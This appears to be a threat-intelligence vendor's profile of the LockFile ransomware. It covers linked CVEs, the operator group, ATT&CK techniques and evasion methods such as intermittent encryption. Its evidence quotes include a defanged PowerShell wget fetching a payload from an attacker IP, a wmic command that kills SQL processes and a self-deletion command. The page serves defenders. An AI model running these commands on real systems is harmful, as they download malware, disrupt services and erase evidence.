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Malware1 associated actor4 associated CVEs

LockFile

Tracked since Jan 16, 2026 · Updated 1 month ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
Vulns4Associated
Actors1Associated
ATT&CK19Techniques
IOCs16Tracked
Type
Ransomware
Capabilities
Initial accessPrivilege escalationLateral movementDefense evasionDLL sideloadingByovdExtortion
Platforms
Windows

LockFile is a Windows ransomware family first observed in July 2021. It has targeted enterprises worldwide, with many observed victims in the United States and Asia, across manufacturing, financial services, engineering, legal, business services, and travel and tourism. The China-based ransomware operator tracked by Microsoft as DEV-0401 has deployed LockFile alongside other ransomware families.

LockFile campaigns exploited unpatched, on-premises Microsoft Exchange servers through the ProxyShell vulnerability chain, comprising CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207. Following initial compromise, attackers used PetitPotam-related exploitation and NTLM relay techniques to obtain control of domain controllers. Observed deployment chains abused legitimate software through DLL search order hijacking, used Kernel Driver Utility components to obtain kernel-level access and disable endpoint protection, and distributed ransomware across domain-connected systems through shared domain scripts and Group Policy.

LockFile's distinctive intermittent encryption routine encrypts alternating 16-byte blocks throughout a file. This leaves encrypted files statistically closer to their original contents than full-file encryption, reducing signals used by some ransomware detection tools. It also uses memory-mapped I/O to modify files in memory, allowing the Windows System process to persist encrypted data with minimal direct disk-write activity from the ransomware process. Encryption does not require communication with a command-and-control server.

Before encryption, LockFile uses Windows Management Instrumentation to terminate database and virtualization processes, releasing locks on valuable files. It enumerates fixed drives, encrypts selected files, and displays an HTML Application ransom note demanding payment for recovery. Packing and malformed executable structures hinder static analysis, while self-deletion after encryption removes the ransomware binary and complicates incident response. Avast released a free LockFile decryptor in October 2021.

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Associated CVEs

Associated vulnerabilities

4 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.

CVE-2021-31207via threatpostExploited in the wildMicrosoft Exchange Server Post-Authentication Arbitrary File Write (ProxyShell)ProxyShell is a name given to an attack that chains a trio of vulnerabilities together (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207), to enable unauthenticated attackers to perform remote code execution (RCE) and to snag plaintext passwords. | August was glutted with reports of threat actors exploiting ProxyShell to launch webshell attacks, as well as to deliver LockFile ransomware.View vulnerability →Source ↗
CVE-2021-34473via threatpostExploited in the wildProxyShell: Microsoft Exchange Pre-authentication Path ConfusionProxyShell is a name given to an attack that chains a trio of vulnerabilities together (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207), to enable unauthenticated attackers to perform remote code execution (RCE) and to snag plaintext passwords. | August was glutted with reports of threat actors exploiting ProxyShell to launch webshell attacks, as well as to deliver LockFile ransomware.View vulnerability →Source ↗
CVE-2021-34523via threatpostExploited in the wildMicrosoft Exchange PowerShell Backend Privilege Escalation (ProxyShell)ProxyShell is a name given to an attack that chains a trio of vulnerabilities together (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207), to enable unauthenticated attackers to perform remote code execution (RCE) and to snag plaintext passwords. | August was glutted with reports of threat actors exploiting ProxyShell to launch webshell attacks, as well as to deliver LockFile ransomware.View vulnerability →Source ↗
CVE-2021-36942via reliaquest com threat huntingExploited in the wildPetitPotam (Windows LSA Spoofing)The operators of the “LockFile” ransomware had successfully gained access to various networks by exploiting high-profile vulnerabilities in Microsoft Exchange Servers and then taken over domain controllers using the “PetitPotam” exploit.View vulnerability →Source ↗
Threat actors

Associated threat actors

1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

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Cinnamon Tempest

DEV-0401 has previously deployed multiple ransomware families including LockFile, AtomSilo, and Rook.

via microsoft generalmicrosoft.com
MITRE ATT&CK

Techniques & procedures

19 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

1 technique
T1190Exploit Public-Facing ApplicationEvidence6

Called LockFile, the operators of the ransomware have been found exploiting recently disclosed flaws such as ProxyShell and PetitPotam to compromise Windows servers and deploy file-encrypting malware.

Execution

5 techniques
T1047Windows Management InstrumentationEvidence3

Once deposited, the malware also takes steps to terminate critical processes associated with virtualization software and databases via the Windows Management Interface (WMI), before proceeding to encrypt critical files and objects.

T1059Command and Scripting InterpreterEvidence1

These files are copied into the “sysvol\domain\scripts” directory. This directory is used to deploy scripts to network clients when they authenticate to the domain controller. This means that any clients that authenticate to the domain after these files have been copied over will execute them.

T1059.001PowerShellEvidence2

On exploitation, the attacker executes a PowerShell command such as the following: powershell wget hxxp://209.14.0[.]234:46613/VcEtrKighyIFS5foGNXH

T1059.003Windows Command ShellEvidence1

Once it has encrypted all the documents on the machine, the ransomware deletes itself with the following command: cmd /c ping 127.0.0.1 -n 5 && del ...

T1574.001DLLEvidence1

The active_desktop_launcher.exe is a legitimate version of KuGou Active Desktop. The executable is being used in a DLL search order loading attack to load a malicious active_desktop_render.dll file.

Privilege Escalation

1 technique
T1068Exploitation for Privilege EscalationEvidence3

Symantec, fingering an unknown Exchange vulnerability being used to deploy ransomware: LockFile: Ransomware Uses PetitPotam Exploit to Compromise Windows Domain Controllers

Stealth

4 techniques
T1027Obfuscated Files or InformationEvidence1

LockFile uses multiple techniques designed to evade detection, starting with its own executable file which is both packed and malformed. The first section of the file is full of zeroes and is followed by a second section that contains encoded data.

T1070.004File DeletionEvidence3

What's more, the ransomware deletes itself from the system post successful encryption of all the documents on the machine, meaning that 'there is no ransomware binary for incident responders or antivirus software to find or clean up.'

T1140Deobfuscate/Decode Files or InformationEvidence1

This active_desktop_render.dll file, when loaded by the active_desktop_launcher.exe, attempts to load and decrypt a file in the local directory called “desktop.ini”. If the file is successfully loaded and decrypted, shellcode from the file is executed.

T1574.001DLLEvidence1

The active_desktop_launcher.exe is a legitimate version of KuGou Active Desktop. The executable is being used in a DLL search order loading attack to load a malicious active_desktop_render.dll file.

Defense Impairment

1 technique
T1685Disable or Modify ToolsEvidence2

The malware then leverages the Windows Management Interface (WMI) to scan for and kill important processes associated with business applications including Hyper-V virtual machines... Microsoft SQL Server, MySQL database... and VMware virtual machines.

Credential Access

2 techniques
T1187Forced AuthenticationEvidence2

The group behind the ransomware is also leveraging an NTLM relay attack known as PetitPotam to gain access to domain controllers inside corporate networks.

T1557.001Name Resolution Poisoning and SMB RelayEvidence1

This is an NTLM relay attack bug that can be used by a low-privileged attacker to take over a domain controller.

Discovery

2 techniques
T1057Process DiscoveryEvidence1

a string is decoded, which is a parameter for the system() call... This terminates all processes with vmwp in their name... repeated for other business critical processes associated with virtualization software and databases

T1083File and Directory DiscoveryEvidence1

The code continues to retrieve all drive letters with GetLogicalDriveString() ... it determines the drive type via GetDriveType() ... uses FindFirstFile() and FindNextFile() to iterate through the directory

Lateral Movement

1 technique
T1570Lateral Tool TransferEvidence1

Once access has been gained to the local domain controller, the attackers copy over the LockFile ransomware, along with a batch file and supporting executables, onto the domain controller.

Collection

1 technique
T1557.001Name Resolution Poisoning and SMB RelayEvidence1

This is an NTLM relay attack bug that can be used by a low-privileged attacker to take over a domain controller.

Command and Control

1 technique
T1105Ingress Tool TransferEvidence2

Adversaries exploiting these vulnerabilities are dropping web shells on to the compromised device through which they can issue additional commands such as downloading and executing malicious binaries

Impact

2 techniques
T1486Data Encrypted for ImpactEvidence7

Once deposited, the malware also takes steps to terminate critical processes associated with virtualization software and databases via the Windows Management Interface (WMI), before proceeding to encrypt critical files and objects, and display a ransomware note. | Called LockFile, the operators of the ransomware have been found exploiting recently disclosed flaws such as ProxyShell and PetitPotam to compromise Windows servers and deploy file-encrypting malware that scrambles only every alternate 16 bytes of a file, thereby giving it the ability to evade ransomware defences.

T1529System Shutdown/RebootEvidence1

wmic process where "name like '%sqlservr%'" call terminate ... Terminating these processes will ensure that any locks on associated files/databases are released

Indicators of compromise

Observables

16 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

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Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching16Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors1Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilities4CVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping19Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.